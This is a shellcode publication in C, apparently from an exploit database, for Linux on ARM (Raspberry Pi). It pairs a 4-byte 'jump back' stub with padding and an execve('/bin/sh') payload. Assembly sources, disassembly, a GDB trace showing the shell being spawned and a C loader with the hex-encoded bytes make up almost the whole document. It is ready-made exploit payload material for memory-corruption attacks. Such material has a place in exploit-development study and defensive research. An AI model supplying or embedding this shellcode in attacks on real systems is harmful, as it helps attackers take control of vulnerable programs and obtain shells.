/*
# Title: Linux/ARM - Jump Back Shellcode + execve("/bin/sh", NULL, NULL) Shellcode (4 Bytes)
# Date: 2018-09-18
# Author: Ken Kitahara
# Tested: armv7l (Raspberry Pi 3 Model B+)
[System Information]
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $
[Shellcode]
(1) Use "eor r7, r7, r7" Shellcode as Padding Shellcode (4 Bytes)
pi@raspberrypi:~ $ cat padding.s
.section .text
.global _start
_start:
eor r7, r7, r7
pi@raspberrypi:~ $ as -o padding.o padding.s && ld -N -o padding padding.o
pi@raspberrypi:~ $ objdump -d ./padding
./padding: file format elf32-littlearm
Disassembly of section .text:
00010054 <_start>:
10054: e0277007 eor r7, r7, r7
pi@raspberrypi:~ $
(2) execve("/bin/sh", NULL, NULL) Shellcode (27 Bytes)
pi@raspberrypi:~ $ cat shell.s
.section .text
.global _start
_start:
.ARM
add r3, pc, #1
bx r3
.THUMB
// execve("/bin/sh", NULL, NULL)
adr r0, spawn
eor r1, r1, r1
eor r2, r2, r2
strb r2, [r0, #endline-spawn]
mov r7, #11
svc #1
spawn:
.ascii "/bin/sh"
endline:
pi@raspberrypi:~ $ as -o shell.o shell.s && ld -N -o shell shell.o
pi@raspberrypi:~ $ objdump -d ./shell
./shell: file format elf32-littlearm
Disassembly of section .text:
00010054 <_start>:
10054: e28f3001 add r3, pc, #1
10058: e12fff13 bx r3
1005c: a002 add r0, pc, #8 ; (adr r0, 10068 <spawn>)
1005e: 4049 eors r1, r1
10060: 4052 eors r2, r2
10062: 71c2 strb r2, [r0, #7]
10064: 270b movs r7, #11
10066: df01 svc 1
00010068 <spawn>:
10068: 6e69622f .word 0x6e69622f
1006c: 732f .short 0x732f
1006e: 68 .byte 0x68
0001006f <endline>:
...
pi@raspberrypi:~ $ ./shell
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
$ exit
pi@raspberrypi:~ $
(3) Jump Back Shellcode (4 Bytes)
pi@raspberrypi:~ $ cat jmpback.s
.section .text
.global _start
_start:
// Jump back 0x30 bytes from _start address.
sub pc, pc, #0x30+0x08
pi@raspberrypi:~ $ as -o jmpback.o jmpback.s && ld -N -o jmpback jmpback.o
pi@raspberrypi:~ $ objdump -d ./jmpback
./jmpback: file format elf32-littlearm
Disassembly of section .text:
00010054 <_start>:
10054: e24ff038 sub pc, pc, #56 ; 0x38
pi@raspberrypi:~ $
[Operation Test]
pi@raspberrypi:~ $ ./loader
Shellcode Length: 4
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
$ exit
pi@raspberrypi:~ $ gdb -q ./loader
GEF for linux ready, type `gef' to start, `gef config' to configure
69 commands loaded for GDB 7.12.0.20161007-git using Python engine 3.5
[*] 1 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./loader...(no debugging symbols found)...done.
gef➤ disass main
Dump of assembler code for function main:
0x00010470 <+0>: push {r11, lr}
0x00010474 <+4>: add r11, sp, #4
0x00010478 <+8>: sub sp, sp, #8
0x0001047c <+12>: ldr r0, [pc, #44] ; 0x104b0 <main+64>
0x00010480 <+16>: bl 0x10330 <strlen@plt>
0x00010484 <+20>: mov r3, r0
0x00010488 <+24>: mov r1, r3
0x0001048c <+28>: ldr r0, [pc, #32] ; 0x104b4 <main+68>
0x00010490 <+32>: bl 0x1030c <printf@plt>
0x00010494 <+36>: ldr r3, [pc, #20] ; 0x104b0 <main+64>
0x00010498 <+40>: str r3, [r11, #-8]
0x0001049c <+44>: ldr r3, [r11, #-8]
0x000104a0 <+48>: blx r3
0x000104a4 <+52>: nop ; (mov r0, r0)
0x000104a8 <+56>: sub sp, r11, #4
0x000104ac <+60>: pop {r11, pc}
0x000104b0 <+64>: andeq r1, r2, r8, rrx
0x000104b4 <+68>: andeq r0, r1, r8, lsr #10
End of assembler dump.
gef➤ b *main+48
Breakpoint 1 at 0x104a0
gef➤ r
Starting program: /home/pi/loader
Shellcode Length: 4
--snip--
Breakpoint 1, 0x000104a0 in main ()
gef➤ si
--snip--
────────────────────────────────────────────────────────────────[ code:arm ]────
0x2105c <shell+48> svcle 0x0001270b
0x21060 <shell+52> cdpvs 2, 6, cr6, cr9, cr15, {1}
0x21064 <shell+56> rsbeq r7, r8, pc, lsr #6
→ 0x21068 <sc+0> sub pc, pc, #56 ; 0x38
0x2106c <sc+4> andeq r0, r0, r0
--snip--
gef➤ i r pc
pc 0x21068 0x21068 <sc>
gef➤ si
--snip--
────────────────────────────────────────────────────────────────[ code:arm ]────
0x2102c <shell+0> eor r7, r7, r7
0x21030 <shell+4> eor r7, r7, r7
0x21034 <shell+8> eor r7, r7, r7
→ 0x21038 <shell+12> eor r7, r7, r7
0x2103c <shell+16> eor r7, r7, r7
0x21040 <shell+20> eor r7, r7, r7
--snip--
gef➤ i r pc
pc 0x21038 0x21038 <shell+12>
gef➤ c
Continuing.
process 968 is executing new program: /bin/dash
$ id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
$ exit
[Inferior 1 (process 968) exited normally]
gef➤ q
pi@raspberrypi:~ $
*/
#include<stdio.h>
#include<string.h>
unsigned char shell[] = \
// Use "eor r7, r7, r7" Shellcode as Padding Shellcode (4 Bytes * 8)
"\x07\x70\x27\xe0\x07\x70\x27\xe0"
"\x07\x70\x27\xe0\x07\x70\x27\xe0"
"\x07\x70\x27\xe0\x07\x70\x27\xe0"
"\x07\x70\x27\xe0\x07\x70\x27\xe0"
// execve("/bin/sh", NULL, NULL) Shellcode (27 Bytes)
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1"
"\x02\xa0\x49\x40\x52\x40\xc2\x71"
"\x0b\x27\x01\xdf\x2f\x62\x69\x6e"
"\x2f\x73\x68";
// Jump Back Shellcode (4 Bytes)
unsigned char sc[] = \
"\x38\xf0\x4f\xe2";
void main()
{
printf("Shellcode Length: %d\n", strlen(sc));
int (*ret)() = (int(*)())sc;
ret();
}
